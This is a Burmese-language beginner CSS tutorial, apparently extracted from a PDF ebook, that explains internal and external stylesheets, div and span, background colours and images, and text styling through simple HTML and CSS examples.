ဒါဆိုရင္ သူ specify လုပ္ထားတဲ့ ဒီ tag တစ္ေၾကာင္းတည္းကိုသာ သက္ေရာက္မွာပါ။
အမ်ားအားျဖင့္ေတာ့ CSS ေရးေနမွေတာ့ ဒီလို inline ျဖစ္တဲ့ tag တစ္ေၾကာင္းအတြက္နဲ႕ သံုးက်တာ နည္းပါတယ္။
www.phoelapyae.com 12
12 ရာမညဖိုးလျပည့္
Internal
Embedded or Internal style ကေတာ့ စာမ်က္နွာတစ္ခုလံုးအတြက္ သံုးတာပါ ။ ဥပမာ blog လိုမ်ိဳးေပါ့။ အေပၚမွာ
ကြ်န္ေတာ္ေရးခဲ့တဲ့ example web page ေတြဟာ internal style နဲ႕ apply ေပးထားတာပါ။ Internal နဲ႕ ေရးၿပီးဆိုရင္
style sheet code ေတြက </title> နဲ႕ </head> ၾကားမွာ ေရးပါတယ္။ဒီလိုပါ။
<head><title>CSS Example</title>
<style type=”text/css”>
p {color: red; font-family: Zawgyi-one, Arial}
body {background-color: black}
</style>
</head>
External
External ကေတာ့ အေကာင္းဆံုးနည္းလမ္းပါ။ သူက ေရးၿပီးသား style sheet ကို link tag သံုးလွမ္းခ်ိတ္ၿပီး
ယူသံုးတဲ့နည္းပါ။ လွမ္းခ်ိတ္ဖို႕ အတြက္ အဲဒီ CSS file ကုိ <head> နဲ႕ </head> ၾကားမွာ Link tag
ကုိေၾကာ္ျငာေပးရမွာပါ ။ ဒီလိုေလးပါ ..
<head>
<link rel=”stylesheet” type=”text/css” href=”urfilename.css”/>
</head>
www.phoelapyae.com 13
13 ရာမညဖိုးလျပည့္
ေၾကာ္ျငာၿပီးရင္ ေခၚသံုးဖို႕ အတြက္ css ဖိုင္ကို ေရးပါမယ္။ ဥပမာ..
P
{
text-align: center;
color: white
}
A {color: blue}
အဲဒါကုိ notepad မွာ urfilename.css ဆိုတဲ့ *.css extension နဲ႕ save ရပါတယ္။ ဒါဆို urfilename.css ဆိုတဲ့ CSS
file တစ္ခုရပါမယ္။
ဒါဆိုရင္ browser က urfilename.css က ို သြားဖတ္ပါတယ္ ။ အဒဲ ီ urfilename.css ထဲကေရးထားတ့ဲအတိုင္း webpage
ေတြကုိ format ခ်ပါတယ္။ ပုိရွင္းသြားေအာင္ နမူနာ လုပ္ၾကည့္ရေအာင္ …
<html>
<head><title>Testion External Style</title>
<link rel="stylesheet" type="text/css" href="mystyle.css"/>
</head>
<body>
<h1>This is a header</h1>
<h2>This is also header with blue color</h2>
<p>This paragraph has a left margin of 50 pixels</p>
</body>
</html>
အဲဒါကို notedpad တြင္ example.html နဲ႕ save ပါ။
ဒါက styel sheet file(CSS) file ပါ။
www.phoelapyae.com 14
14 ရာမညဖိုးလျပည့္
body {background-color: yellow}
h1 {font-size: 36pt}
h2 {color: blue}
p {margin-left: 50px}
ဒါကုိ mystyle.css ဆိုတဲ့ နာမည္နဲ႕ save ပါ။ ၿပီးရင္ example.html ဖိုင္နဲ႕ mystyle.css ဖိုင္တို႕ ကုိ ဖိုဒါတစ္ခုထဲ
ထည့္ၿပီး example.html ဖိုင္ကုိ ဖြင့္ၾကည့္ပါက ဒီလိုိေလးေတြ႕ ရပါမယ္။
ဒါဟာဆိုရင္ example.html ဖိုင္ကုိ mystyle.css ဖိုင္က format ခ်လိုက္တာပါ။ မိမိကိုယ္တိုင္ေရးၾကည့္ၿပီး လုပ္ၾကည့္ပါ ။
သိလာပါလိမ့္မယ္။
ေနာက္ထပ္ နမူနာတစ္ခုေလာက္ ေလ့က်င့္ရေအာင္..
www.phoelapyae.com 15
15 ရာမညဖိုးလျပည့္
<html>
<head><title>Example</title>
<link rel="stylesheet" type="text/css" href="test.css" />
</head>
<body>
<h1>This is header<h1>
<p>This is a paragraph and this is a <a href="http://phoepyae.co.cc"
target="_blank">Phoe La Pyae Website</a></p>
<body>
<html>
ဒါကုိ example.html ဖိုင္နာမည္နဲ႕ save လိုက္ပါ။
body
{
background-color: black;
color: white;
}
p
{
font-size: 11pt;
font-family: Zawgyi-one, Arial;
www.phoelapyae.com 16
16 ရာမညဖိုးလျပည့္
}
a:link {color:green}
a:visited {color:yellow}
a:hover {color:green}
a:active {color:blue}
ဒါကုိ test.css ဖိုင္နာမည္နဲ႕ save လုိက္ပါ။ ၿပီးရင္ example.html ဖိုင္ကိုေခၚၾကည့္ပါ။ ဒီလိုေလးပါ။
ဒီေနရာမွာ a tag တစ္ခုပါလာပါတယ္။ မိမိရဲ႕ webpage မွာ link ထည့္မယ္ဆိုရင္ <a></a>tag ကို anchor
အျဖစ္တစ္ခုႏွင့္တစ္ခု ခ်ိတ္ဆက္အသုံးျပဳရန္အတြက္ အသုံးျပဳပါတယ္။လင့္ခ်ိတ္ခ်င္ရင္ <a href=” website
address”>Name</a> ဆိုတဲ့ ပံုစံနဲ႕ ေရးရတာပါ။ website address ဆိုတာ မိမိခ်ိတ္ခ်င္တဲ့ ဆုိက္ address ေပါ့။
ဒီေနရာမွာ <a href=”http://phoepyae.co.cc” target=”_blank”>Phoe La Pyae</a> ဆိုတဲ့ ေနရာမွာ
target=”_blank” ဆိုတာ new tag window အေနနဲ႕ အဲဒီဆိုက္ကုိ ေပၚေစမွာ ျဖစ္ပါတယ္။ test.css မွာေရးထာတဲ့ a
tag ကုိလဲ မႏွိပ္ခင္ ဘာအေရာင္၊ ႏွိပ္ရင္ ဘာအေရာင္ စသျဖင့္ ေလ့လာၾကည့ပါ။
CSS Division
www.phoelapyae.com 17
17 ရာမညဖိုးလျပည့္
အခု ကြ်န္ေတာ္တို႕ class and id selector ေတြအေၾကာင္း ေတာ္ေတာ္မ်ားမ်ား သိၿပီးျဖစ္ပါတယ္။ အခုဆက္လက္ၿပီး
အဲလို secelctor မ်ိဳးျဖစ္တဲ့ div and span ေတြကို နည္းနည္းေလ့လာၾကည့္ရေအာင္ …
Divisions
Division ကအမ်ားအားျဖင့္ html file ေတြကုိ define လုပ္ေလ့ရွိတယ္။ သူသည္လဲ class and id selector လိုပါပဲ ။
သံုးနည္းကုိၾကည့္လိုက္ရင္ ပုိရွင္းသြားမွာပါ။
<div id=”container”>
Site contents go here
</div>
အဲဒါကုိ CSS မွာက်ရင္ ဒီလိုေရးပါတယ္။
#container
{
width: 70%;
margin: auto;
padding: 20px;
border: 1px solid #600;
background: #ffffff;
}
အဲလိုေလးပါ။ id selector လိုမ်ိဳးေပါ့ ။ အဲဒီထဲမွာ ပါတဲ့ ကုတ္အခ်ိဳ႕ ေတြကုိ သက္ဆိုင္ရာ ေခါင္းစဥ္ေရာက္မွ အေသးစိတ္
ရွင္းပါ့မယ္။
Span
www.phoelapyae.com 18
18 ရာမညဖိုးလျပည့္
Spans ဟာ division tag လုိပါပဲ ။ ဒါေပမဲ့ span က Inline နဲ႕ apply လုပ္တဲ့ေနရာမွာပဲ အသံုးမ်ားပါတယ္။
တစ္ေၾကာင္းတည္းဆိုရင္ အသံုးမ်ားတာေပါ့ ။
<span class=”italic”>This text is italic</span>
အဲဒါကုိ CSS မွာ ဒီလိုေရးရပါတယ္။
.italic {font-style: italic;}
CSS Background
Web page တစ္ခုရဲ႕ background ကုိ အေရာင္ သို႕ မဟုတ္ ပံုနဲ႕ ထည့္သြင္းျခင္းကုိ ဒီေနရာမွာေလ့က်င့္မွာပါ။
Web page ရဲ႕ background color ကုိ မထည့္ခင္ color ရဲ႕ ေရးတတ္ပံုေတြကုိ ေဆြးေႏြးပါ့မယ္။ color ကုိအေရာင္နဲ႕
ေဖာ္ျပျခင္း color: green; အေရာင္ကုတ္နဲ႕ ေဖာ္ျပျခင္း color: #ffffff; နဲ႕ အေျခခံအေရာင္ သံုးေရာင္စပ္ထားျခင္းျဖင္း
color: rgb(106,251,146); ဆိုၿပီးရွိပါတယ္။
ဒီေနရာမွာ color: rgb(106,251,146); မွာ rgb ဆိုတာက red, green, blue ကို ဆိုလိုျခင္းျဖစ္ပါတယ္။ (106,251,146)
ဆိုတာက အေရာင္သုံးေရာင္ေပါင္းစပ္ထားျခင္းပါ။ သူ႔ အေရာင္တစ္ခုျခင္းစီအတြက္ limit ကေတာ့ 0-255 ျဖစ္ပါတယ္။ 0
ကေတာ့ ၄င္းအေရာင္ရဲ႕ light အျဖစ္ဆုံးအဆင့္ပါ။ 255 ကေတာ့ dark အျဖစ္ဆုံးပါ။ ဥပမာ
အျပာေရာင္တစ္ေရာင္ပဲလိုခ်င္တယ္ဆိုရင္ color: rgb(0,0,255); လို႔ေရးလို႔ရပါတယ္။ ေနာက္တစ္ခုက အေရာင္ကုတ္ဖြဲ႕
စည္းမႈ ။ ာ။ အေရာင္ကုဒ္ေတြမွာဆိုရင္ # ေနာက္မွာ ဂဏန္း၆လုံးကို ေတြ႔ရပါလိမ့္မယ္။ အဲဒီဂဏန္း ၆ လုံးက
hexadeicmal code ေတြျဖစ္ျပီးေတာ့ ၂ လုံးတစ္တြဲယူရပါတယ္။ ဂဏန္း၂ လုံးက အေျခခံအေရာင္ ၁ ေရာင္ကို
ကိုယ္စားျပဳပါတယ္။ red, green, blue ျဖစ္တဲ့အတြက္ အေရာင္ကိုေဖာ္ျပတဲ့ ဂဏန္း ၆လုံးရွိျခင္းျဖစ္ပါတယ္။ သူ႔ format
ကေတာ့ # rrggbb ေပါ့ဗ်ာ။ အဲဒီမွာ သုံးတဲ့ အေရာင္ကုဒ္ရဲ႕ ရည္ညြန္းမႈကေတာ့ ...
FF သည္ full brightness
CC သည္ 80 % brightness
99 သည္ 60 % brightness
66 သည္ 40 % brightness
33 သည္ 20 % brightness
www.phoelapyae.com 19
19 ရာမညဖိုးလျပည့္
00 ကေတာ့ သူနဲ႔ဆိုင္တဲ့ အေရာင္မပါ၀င္ေႀကာင္းကို ေဖာ္ျပျခင္းျဖစ္ပါတယ္။
ဥပမာ..bright red သည္ #FF0000 ၊ dark blue သည္ #000033၊ medium-gray ကေတာ့ #999999 ျဖစ္ပါတယ္။
ဒါကေတာ့ သိရံုသက္သက္ပါပဲ ။ ထပ္ေျပာရင္ ရႈပ္သြားပါလိမ့္မယ္။ ဒီေတာ့ ကြ်န္ေတာ္တို႕ နမူနာ web page
တစ္ခုေရးၾကည့္လုိက္လုိက္ရင္ ပိုရွင္းမယ္ထင္ပါတယ္။ ေရးရေအာင္ ….
<html>
<head>
<title>this is the title of the web page</title>
<style type="text/css">
body {background-color: yellow;}
h1 {background-color: #00ff00;}
h2 {background-color: red;}
p {background-color: rgb(250,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
<h2>
This is a level 2 header
</h2>
www.phoelapyae.com 20
20 ရာမညဖိုးလျပည့္
<p>
This is a paragraph
</p>
</body>
</html>
How to set an image as the background
ဒီတစ္ခါ မိမိရဲ႕ web page မွာ ေနာက္ခံအေရာင္ကုိအသံုးမျပဳပဲ ဓါတ္ပံုတစ္ခုခုကို အသံုးျပဳမဲ့နည္းလမ္းပါ ။
အဲလိုထည့္ခ်င္ရင္ ဒီလိုေလးေရး၇ပါတယ္။
body {background-image: url(‘image address’)}
image address ေနရာမွာ မိမိထည့္မဲ့ image ရဲ႕ link ကုိယူရပါမယ္။ နမူနာတစ္ခုေရးရေအာင္ …
မေရးခင္ ဒီပံုေလးကို အရင္ save ထားလိုက္ပါ။ ရွင္းျပတာ တသမတ္တည္းျဖစ္ေအာင္လို႕ ပါ။
DOWNLOAD PHOTO
http://yamanya.mlm.googlepages.com/yamanya.jpg
www.phoelapyae.com 21
21 ရာမညဖိုးလျပည့္
yamanya.jpg နဲ႕ save ထားလိုက္ပါ။ ကဲ .. စေရးၿပီး ..
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg')
}
</style>
</head>
<body>
</body>
</html>
အဲဒီကုတ္ကုိ html file အေနနဲ႕ save ၿပီး ေစာေစာက ပံု yamanya.jpg ပံုနဲ႕ ဖိုဒါတစ္ခုအတြင္းထားၿပီး html tile
ကုိဖြင့္လိုက္ပါ။ဒီလိုေလးပါ…
www.phoelapyae.com 22
22 ရာမညဖိုးလျပည့္
ဒီေနရာမွာ ဘာကုိသတိထားမိက်သလဲ ။ ရာမညဖိုးလျပည့္ဆိုတဲ့ ပံု ထပ္ခါထပ္ခါ repeat ျဖစ္ေနတာ ေတြ႕ ရပါမယ္။
ဒီေတာ့ body {background-image: url(‘yamanya.jpg’)} နဲ႕ body {background-image: url(‘yamanya.jpg’);
background-repeat: repeat} နဲ႕ တူပါတယ္။ ဒိေနရာမွာ repeat ပါလာပါၿပီး။တယ္။background-repeat:repeat
ဆိုတာကေတာ့
မိမိေနာက္ခံဓါတ္ပုံကိုဘယ္လိုပုံစံေဖာ္ျပမလဲဆိုတာကို သတ္မွတ္ျခင္းျဖစ္ပါတယ္။အဒဲ ီလိုေဖာ္ျပဖို႔အတြက္ backgroundrepeat:
attribute မွာသတ္မွတ္ခ်က္style ေလးခုရွိပါတယ္။ repeat, repeat-x,repeat-y , no-repeat တုိ႔ျဖစ္ပါတယ္။
repeat ကေတာ့ မိမိဓါတ္ပုံကို webpage မွာ tile ပုံစံျဖင့္အျပည့္ေဖာ္ျပေစရန္အတြက္ျဖစ္ပါတယ္။tile ပုံစံ ဆိုတာကေတာ့
မိမိရဲ႕ webpage တစ္ခုလုံးမွာ ေနာက္ခံဓါတ္ပုံကိုနဂုိမူလအတိုင္းတစ္ခုႏွင့္တစ္ခုဆက္စပ္ျပီး
အျပည့္ေပၚေစျခင္းျဖစ္ပါတယ္။ ဥပမာအေနနဲ႔ျပရရင္ computer desktop ရဲ႕ ေနာက္ခံပုံတင္တဲ့အခါမွာ user
ကိုေရြးခ်ယ္ခြင့္ သုံးမ်ိဳးေပးထားပါတယ္။tile, center, stretch ဆိုျပီးသုံးမ်ိဳးရွိတဲ့အနက္ tile
ကမိမိဓါတ္ပုံအရြယ္အစားေသးေနတဲ့အခါ တစ္ပုံနဲ႔တစ္ပုံဆက္စပ္ျပီး အျပည့္ေဖာ္ျပတာပါ။center ဆိုတာကေတာ့
မိမိဓါတ္ပုံကို အလယ္မွာနဂိုအရြယ္အစားအတိုင္း တစ္ပုံတည္းေဖာ္ျပတာျဖစ္ပါတယ္။stretch ကေတာ့ ဓါတ္ပုံရဲ႕
resolution ကို screen တစ္ျပင္လုံးအျပည့္ခ်ဲ႔ျပီးေဖာ္ျပတာပါ။ဒီေနရာမွာေတာ့ tile
ပုံစံေဖာ္ျပျခင္းပဲအသုံးျပဳမွာျဖစ္ပါတယ္။repeat-x ကေတာ့ ေနာက္ခံပုံကို
အလ်ားလိုက္တစ္၀က္ပဲေဖာ္ျပျခင္းျဖစ္ပါတယ္။အေပၚတစ္ျခမ္းပဲပါျပီး ေအာက္တစ္ျခမ္းကေတာ့
ပုံပါမွာမဟုတ္ပါဘူး။repeat-y ဆိုတာကေတာ့ ေနာက္ခံပုံက ဘယ္၊ညာ တစ္ျခမ္းပဲပါမွာျဖစ္ပါတယ္။ဒီေနရာမွာ x နဲ႔ y
www.phoelapyae.com 23
23 ရာမညဖိုးလျပည့္
ဆိုတာက computer screen ကို coordinate system အရ x ၀င္ရုိး y ၀င္ရုိး ခြဲျခားျပီး horizontal / vertical
ပုံစံနဲ႔ေဖာ္ျပတာျဖစ္ပါတယ္။
no-repeat ကို အသုံးျပဳရင္ေတာ့ မိမိရဲ႕ပုံဟာ ေနာက္ခံအေနနဲ႔ေပၚမွာမဟုတ္ပဲ webpage ရဲ႕ဘယ္ဘက္အေပၚေထာင့္မွာ
တစ္ပုံတည္း တစ္ႀကိမ္သာေပၚမွာျဖစ္ပါတယ္။
ကဲ .. နမူနာေရးၾကည့္တာက ပုိ၇ွင္းပါတယ္ .. ၾကည့္ရေအာင္ ။
How to repeat a background image
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 24
24 ရာမညဖိုးလျပည့္
ဒါကေတာ့ အေပၚမွာ ေဆြးေႏြးၿပီးျဖစ္တဲ့အတိုင္း repeat က မိမိဓါတ္ပုံကို webpage မွာ tile
ပုံစံျဖင့္အျပည့္ေဖာ္ျပေစရန္အတြက္ျဖစ္ပါတယ္။
How to repeat a background image only horizontally
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat-x
www.phoelapyae.com 25
25 ရာမညဖိုးလျပည့္
}
</style>
</head>
<body>
</body>
</html>
repeat-x ကေတာ့ ေနာက္ခံပုံကို အလ်ားလိုက္တစ္၀က္ပဲေဖာ္ျပျခင္းျဖစ္ပါတယ္။အေပၚတစ္ျခမ္းပဲပါျပီး
ေအာက္တစ္ျခမ္းကေတာ့ ပုံပါမွာမဟုတ္ပါဘူး။
www.phoelapyae.com 26
26 ရာမညဖိုးလျပည့္
How to repeat a background image only vertically
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
background-repeat: repeat-y
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 27
27 ရာမညဖိုးလျပည့္
repeat-y ဆိုတာကေတာ့ ေနာက္ခံပုံက ဘယ္၊ညာ တစ္ျခမ္းပဲပါမွာျဖစ္ပါတယ္။ဒီေနရာမွာ x နဲ႔ y ဆိုတာက computer
screen ကို coordinate system အရ x ၀င္ရုိး y ၀င္ရုိး ခြဲျခားျပီး horizontal / vertical ပုံစံနဲ႔ေဖာ္ျပတာျဖစ္ပါတယ္။
How to display a background image only one time
<html>
<head>
<style type="text/css">
body
{
background-image: url('yamanya.jpg');
www.phoelapyae.com 28
28 ရာမညဖိုးလျပည့္
background-repeat: no-repeat
}
</style>
</head>
<body>
</body>
</html>
www.phoelapyae.com 29
29 ရာမညဖိုးလျပည့္
no-repeat ကို အသုံးျပဳရင္ေတာ့ မိမိရဲ႕ပုံဟာ ေနာက္ခံအေနနဲ႔ေပၚမွာမဟုတ္ပဲ webpage ရဲ႕ဘယ္ဘက္အေပၚေထာင့္မွာ
တစ္ပုံတည္း တစ္ႀကိမ္သာေပၚမွာျဖစ္ပါတယ္။
အခုဆုိရင္ background နဲ႕ ပက္သက္ၿပီး background-color, background-image, background-repeat တို႕
ကုိေကာင္းေကာင္းသေဘာေပါက္ေလာက္ၿပီးထင္ပါတယ္။ ေနာက္ထပ္ background အေနနဲ႕ က်န္တာက backgroundattachement
နဲ႕ background-position တို႕ ပဲ ျဖစ္ပါတယ္။
How to position a background image
ေနာက္ခံဓါတ္ပံုကို ေနရာခ်ရမွာ ေအာက္ပါအတိုင္းေရးေလ့ရွိပါတယ္။
body
{
background-position: top left;
top center;
top right;
center left;
center center;
center right;
bottom left;
bottom center;
bottom right;
x% y%
xpos ypos;
background-attachement: scroll;
fixed;
}
ဒီေနရာမွာ backgroun-position နဲ႕ ပက္သက္ၿပီး နမူနာ ကိုယ့္ဘာသာကိုယ္ေရးၾကည့္ပါ ။ ေရးျပေနရင္ စာမ်က္နွာ
ေဖာင္းပြသြားမွာပါ။ top left ဆို အေပၚဆံုးရဲ႕ ဘယ္ဘက္အစြန္ဆံုးေပါ့ ။ တစ္ခုပဲ ရွိတယ္ % နဲ႕ px ။ သူတို႕ကုိ
ဒီလိုေရးပါတယ္ ။
www.phoelapyae.com 30
30 ရာမညဖိုးလျပည့္
background-position: 30% 20%;
50px 100px;
အဲလိုေရးေလ့ရွိပါတယ္။ ဒီေနရာမွာ အတိုင္းအတာေတြကို center ကေနစယူတာၿပိးအရင္ အရင္ဆံုးက x ၀င္ရုိးျဖစ္ၿပီး
ေနာက္ဆံုးက y ၀င္ရုိးကိုျဖစ္ပါတယ္။ မိမိဘာသာနမူနာေရးၾကည့္ရင္ သေဘာေပါက္သြားပါလိမ့္မယ္။
CSS Text
အခုဆက္လက္ၿပီး Text အပိုင္းဆက္လက္ေလ့လာက်မယ္ …text အပိုင္းမွာ အေရာင္တို႕ ၊ စာလံုးတစ္လံုးနဲ႕ တစ္လံုး
အကြာအေ၀း စသျဖင့္ text နဲ႕ ဆိုင္တာေတြ အားလံုးကိုေဆြးေႏြးပါ့မယ္။ ရွင္းလင္းေအာင္ နမူေလးေတြနဲ႕ ျပမွ
မ်က္စိထဲျမင္မွာျဖစ္ပါတယ္။ တစ္ခုခ်င္းအေသးစိတ္ေလ့လာရေအာင္ …..
How to set the color of text
Web page ေတြမွာ စာသားေတြကုိ မိမိထည့္ခ်င္တဲ့ အေရာင္ထည့္ရေအာင္ …နမူနာၾကည့္တာ ပုိရွင္းပါတယ္..
<html>
<head><title>this is the title of the web page</title>
<style type="text/css">
h1 {color: #00ff00;}
h3 {color: #dda0dd;}
p {color: rgb(0,0,255);}
</style>
</head>
<body>
<h1>
This is a level 1 header
</h1>
www.phoelapyae.com 31
31 ရာမညဖိုးလျပည့္
<h3>
This is a level 3 header
</h3>
<p>
This is a paragraph
</p>
</body>
</html>
ဒီေနရာမွာ color တန္ဖိုးေတြျဖစ္တဲ့
color: green;
color: #ffffff;
color: rgb(0,0,255);
တို႕ ကုိ ကြ်န္ေတာ္ရွင္းျပၿပီးသားပါ ။ decimal ျဖစ္တဲ့ color: #ffffff မ်ိဳးကို ေအာက္ပါဆိုက္မွာ ကုတ္ေတြကုိ
ရွာနိုင္ပါတယ္။
Text Background Color
Webpage ေတြရဲ႕ စာသားအခ်ိဳ႕ ကုိ ကြ်န္ေတာ္တို႕ High Light အေနနဲ႕ လုပ္ခ်င္ရင္ ဒီလိုလုပ္လို႕ ရပါတယ္…
www.phoelapyae.com 32
32 ရာမညဖိုးလျပည့္
နမူနာၾကည့္လုိက္ပါ။
<html>
<head>
<style type="text/css">
body {background-color: black; color: red;}
p {text-align: center}
span.highlight
{
background-color:yellow
}
</style>
</head>
<body>
<p>
<span class="highlight">I Will Love You Forever</span><br><br>
I love you so deeply,<br>
I love you so much,<br>
I love the sound of your voice<br>
And the way that we touch.<br>
I love your warm smile<br>
And your kind, thoughtful way,<br>
www.phoelapyae.com 33
33 ရာမညဖိုးလျပည့္
The joy that you bring<br>
To my life every day.<br>
I love you today<br>
As I have from the start,<br>
<span class="highlight">And I'll love you forever<br>
With all of my heart.</span>
</p>
</body>
</html>
ဒီေနရာမွာ span.highlight ဆိုတဲ့ span class ကုိသံုးထားတာေတြ႕ ရပါမယ္။ အဲဒီ span ကုိလဲ အရင္ပို႕ စ္ေတြမွာ
ရွင္းျပၿပီးသားျဖစ္လို႕ ထပ္မရွင္းေတာ့ပါဘူး။ နားလည္မယ္လို႕ ထင္ပါတယ္။
www.phoelapyae.com 34
34 ရာမညဖိုးလျပည့္
Specify the space between characters
စာလံုးအစိပ္အက်ဲကုိ ဆက္ေလ့လာရေအာင္ ….. ဒီလိုေရးပါတယ္။
<style type=”text/css”>
h1 {letter-spacing: -3px}
h4 {letter-spacing: 0.5cm}
</style>
ဒီေနရာမွာ letter-spacing ရဲ႕ တန္ဖိုးကုိ px , cm တို႕ နဲ႕ ျပတာကုိေတြ႕ ရပါမယ္။ အဲဒီတန္ဖိုးေတြ သတ္မွတ္ခ်က္ကုိ
ေနာက္ပုိင္းေဆြးေႏြးမဲ့ font အပိုင္းမွာ ေဆြးေႏြးေပးပါ့မယ္။ကဲ .. နမူနာတစ္ခုေရးၾကည့္ရေအာင္ ….
<html>
<head>
<style type="text/css">
h1 {letter-spacing: -3px}
h4 {letter-spacing: 0.5cm}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h4>This is header 4</h4>
</body>
</html>
www.phoelapyae.com 35
35 ရာမညဖိုးလျပည့္
Specify the space between lines
စာလံုးအစိပ္အက်ဲၿပီးေတာ့ ဒီတစ္ခါ စာေၾကာင္းအစိပ္အက်ဲကုိ ေဆြးေႏြးပါ့မယ္ …သူ႕ကုိေရးေတာ့ ဒီလိုေလးပါ …
<style type=”text/css>
p.small {line-height: 90%}
p.big {line-height: 200%}
</style>
ဘယ္လိုသက္ေရာက္မႈ ရွိသလဲဆိုတာ ေအာက္မွာ စာပုဒ္သံုးပုဒ္နဲ႕ ရွင္းျပပါ့မယ္ …. ၾကည့္ရေအာင္ ..
<html>
<head>
<style type="text/css">
p.small {line-height: 90%}
p.big {line-height: 200%}
</style>
</head>
www.phoelapyae.com 36
36 ရာမညဖိုးလျပည့္
<body>
<p>
This is a paragraph with a standard line-height.
The default line height in most browsers is about 110% to 120%.
This is a paragraph with a standard line-height.
This is a paragraph with a standard line-height.
</p>
<p class="small">
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
This is a paragraph with a smaller line-height.
</p>
<p class="big">
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
This is a paragraph with a bigger line-height.
</p>
</body>
</html>
www.phoelapyae.com 37
37 ရာမညဖိုးလျပည့္
ေရးထားတာကို ၾကည့္ရင္ ရွင္းပါတယ္ ။ တန္ဖိုးဘယ္ေလာက္သတ္မွတ္ရင္ ဘယ္ေလာက္ ကြာျခားသလဲဆိုတာ ….
Text Align
ဒါကေတာ့ ထပ္ခါထပ္ခါေရးၿပီးသားဆိုေတာ့ အထူးတလည္ရွင္းျပစရာေတာင္မလုိပါဘူး .. နမူနာေရးၾကည့္မယ္..
<html>
<head>
<style type="text/css">
h1 {text-align: center}
h2 {text-align: left}
h3 {text-align: right}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h2>This is header 2</h2>
www.phoelapyae.com 38
38 ရာမညဖိုးလျပည့္
<h3>This is header 3</h3>
</body>
</html>
Decorate the text
Decorate ဆိုတာ စာသားေတြကုိ မ်ဥ္းသားခ်င္တာမ်ိဳး .. လင့္ေတြကို ေအာက္မွာ မ်ဥ္းေၾကာင္းမထည့္ခ်င္တာမ်ိဳး..
မွိတ္တုတ္မွိတ္တုတ္ေပၚတာမ်ိဳး လုပ္ေဆာင္နိုင္ပါတယ္ …ဘယ္လိုေရးနုိင္သလဲ ဆိုတာ ၾကည့္ရေအာင္ …
<style type=”text/css”>
h1 {text-decoration: underline}
</style>
အဲလိုမ်ိဳး text-decoration နဲ႕ ေရးပါတယ္ … သူရဲ႕ တန္ဖိုးအားလံုးကေတာ့ ….
www.phoelapyae.com 39
39 ရာမညဖိုးလျပည့္
text-decoration: overline;
text-decoration: underline;
text-decoration: line-through;
text-decoration: blink;
text-decoration: none;
ဒါဟာ text-decoration နဲ႕ ေရးလုိ႕ ရတဲ့တန္ဖိုး အကုန္ပါပဲ ။ ဒီေနရာမွာ overline ဟာ စာသားေပၚမွာ
မ်ဥ္းသားတာျဖစ္ၿပီး underline က်ေတာ့ စာသားေအာက္က မ်ဥ္းသားတာပါ။ line-through ကေတာ့ စာသားကုိ မ်ဥ္းနဲ႕
ျဖတ္ထားတာပါ။ blink ကေတာ့ စာသားကုိ မွိတ္တုတ္မွိတ္တုတ္ေဖာ္ျပေပးပါတယ္ … none ကေတာ့ ဘာ effect မွမပါ
စာသားသက္သက္ပါ … သာမာန္ text ရဲ႕ default ကေတာ့ none ပါ။ ဒီေတာ့ မ်က္စိထင္ျမင္သြားေအာင္ ေအာက္က
ဥပမာေရးထားတာေလးကုိ ၾကည့္ၾကည့္လိုက္ပါ။
<html>
<head>
<style type="text/css">
h1 {text-decoration: underline}
h2 {text-decoration: overline}
h3 {text-decoration: line-through}
a {text-decoration: blink}
p {text-decoration: none; font-family: Zawgyi-one}
</style>
</head>
<body>
<h1>This is header 1</h1>
<h2>This is header 2</h2>
www.phoelapyae.com 40
40 ရာမညဖိုးလျပည့္
<h3>This is header 3</h3>
<p><a
href="http://www.phoepyae.co.cc">ရာမညဖိုးလျပည့္ဘေလာ့မွ…</a><br><br>
လႈိုက္လွဲစြာ ၾကိဳဆိုပါ၏ ...</p>
</body>
</html>
ရာမညဖိုးလျပည့္ဘေလာ့မွ .. ဆိုတဲ့ စာသားက မွိတ္တုတ္မွိတ္တုတ္ျဖစ္ေနမွာပါ … ဒီေနရာမွာ ဓါတ္ပံုျဖစ္လို႕
ရုပ္ေသႀကီးျဖစ္ေနတာပါ ။
www.phoelapyae.com 41
41 ရာမညဖိုးလျပည့္
Indent Text
စာပုဒ္ေရးလို႕ ရွိရင္ ပထမစာေၾကာင္းကုိ မာဂ်င္ကေန ေနရာအနည္းငယ္ခ်န္ၿပီးေရးေလ့ရွိပါတယ္ .. ဒါမ်ိဳးဆိုရင္ indent
style နဲ႕ ေရးလို႕ ရပါတယ္ .. သူ႕ ရဲ႕ ေရးတဲ့ပံုစံေလးကေတာ့ ….
<style>
P {text-indent: 2cm}
</style>
သူ႕ ရဲ႕ properties ေတြက
text-indent: length;
%;
တို႕နဲ႕ ေဖာ္ျပေလ့ရွိပါတယ္ …..ဒီေနရာမွာ px , em , % တို႕ နဲ႕ ေဖာ္ျပနိုင္ပါတယ္ ….. သူတို႕ ရဲ႕ အတိုင္းအတာေတြကုိ 1
px မွာ em ဘယ္ေလာက္၊ % ဘယ္ေလာက္ ဆိုတာခန္႕ မွန္းလို႕ ရေအာင္ ေအာက္မွာ ေဖာ္ျပလုိက္ပါတယ္ .. ဒီေနရာမွာ
em -- > the ‘font-size’ of the relevant font
ex -- >the ‘x-height’ of the relevant font
px -- >pixels, relative to the viewing device
ျဖစ္ပါတယ္….. သူတို႕ ရဲ႕ အဓိပၸါယ္ဖြင့္ဆိုခ်က္ေတြကုိ ေအာက္ကလင့္မွာ အေသးစိတ္ေလ့လာနုိင္ပါတယ္ …
http://www.bigbaer.com/css_tutorials/css_font_size.htm
http://www.w3.org/TR/REC-CSS2/syndata.html#length-units
http://www.explainth.at/en/css/units.shtml
www.phoelapyae.com 42
42 ရာမညဖိုးလျပည့္
ဒါကေတာ့ em ,px , % . ex တို႕ ရဲ႕ နွိုဳင္းယွဥ္ခ်က္ေတြပါ …
www.phoelapyae.com 43
43 ရာမညဖိုးလျပည့္
